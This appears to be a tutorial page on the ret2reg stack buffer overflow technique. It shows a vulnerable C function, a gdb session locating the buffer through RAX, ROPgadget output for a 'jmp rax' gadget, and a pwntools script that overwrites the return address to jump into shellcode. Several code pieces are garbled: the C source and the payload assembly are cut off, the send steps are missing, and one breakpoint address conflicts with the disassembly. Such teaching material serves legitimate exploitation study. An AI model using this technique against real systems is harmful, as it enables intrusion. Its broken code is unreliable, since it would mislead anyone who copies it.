Using register

ret2reg involves jumping to register addresses rather than hardcoded addresses. As an example, you may find that the RAX register always points to your buffer when the ret instruction is executed. This can be exploited by using a call rax or jmp rax gadget to continue execution from that point. The reason RAX is often used for this technique is that, according to convention, the return value of a function is typically stored in RAX.

Any function that returns a pointer to the provided string is a prime target. There are many that do this, including :

  • gets()

  • strcpy()

  • fgets()

  • ...

Code example

#include <stdio.h>

void vuln() {
    char buffer[100];

int main() {
    return 0;

In this example, when the vuln() function will return, the RAX register will point to the user input stored into buffer :

# Disassemble the vuln function
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000401122 <+0>:	push   rbp
   0x0000000000401123 <+1>:	mov    rbp,rsp
   0x0000000000401126 <+4>:	sub    rsp,0x70
   0x000000000040112a <+8>:	lea    rax,[rbp-0x70]
   0x000000000040112e <+12>:	mov    rdi,rax
   0x0000000000401131 <+15>:	mov    eax,0x0
   0x0000000000401136 <+20>:	call   0x401030 <gets@plt>
   0x000000000040113b <+25>:	nop
   0x000000000040113c <+26>:	leave  
   0x000000000040113d <+27>:	ret
End of assembler dump.

# Set a breakpoint at the end of the vuln function (address 0x1150)
gdb-peda$ break *vuln+27
Breakpoint 1 at 0x40113d

# Run the program
gdb-peda$ r
Starting program: ./chall 

# Input some data (in this case, "AAAAAAAA")

# The program hits the breakpoint at the end of the vuln function
Breakpoint 1, 0x000000000040113d in vuln ()

# Print the value of the RAX register
gdb-peda$ i r $rax
rax            0x7fffffffdfc0      0x7fffffffdfc0

# Print the string stored at the address contained in RAX
gdb-peda$ x/s 0x7fffffffdfc0
0x7fffffffdfc0:	"AAAAAAAA" 


Using a jmp rax gadget it's possible to jump directly into the user input without knowing the address of it :

$ ROPgadget --binary chall | grep "jmp rax"
0x0000000000401095 : je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax # <-- needed gadget
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x0000000000401093 : test eax, eax ; je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e0 ; mov edi, 0x404030 ; jmp rax

Using Buffer Overflow to set the gadget as return and jump into shellcode :

from pwn import *

# Load the ELF file and start a new process
elf = context.binary = ELF('./chall')
p = process()

# Address of the JMP RAX gadget
JMP_RAX = 0x40109c

# Assemble the payload
payload = asm(        # front of buffer <- RAX points here

# Pad the payload until the RIP
payload = payload.ljust(120, b'A')    

# Append the JMP RAX gadget to the payload
payload += p64(JMP_RAX)               

# Send the payload to the program

# Start an interactive session

Note that this technique could work using another register than rax . For example using rsp could work as well but the chance of jmp esp gadgets existing in the binary are incredible low.


Last updated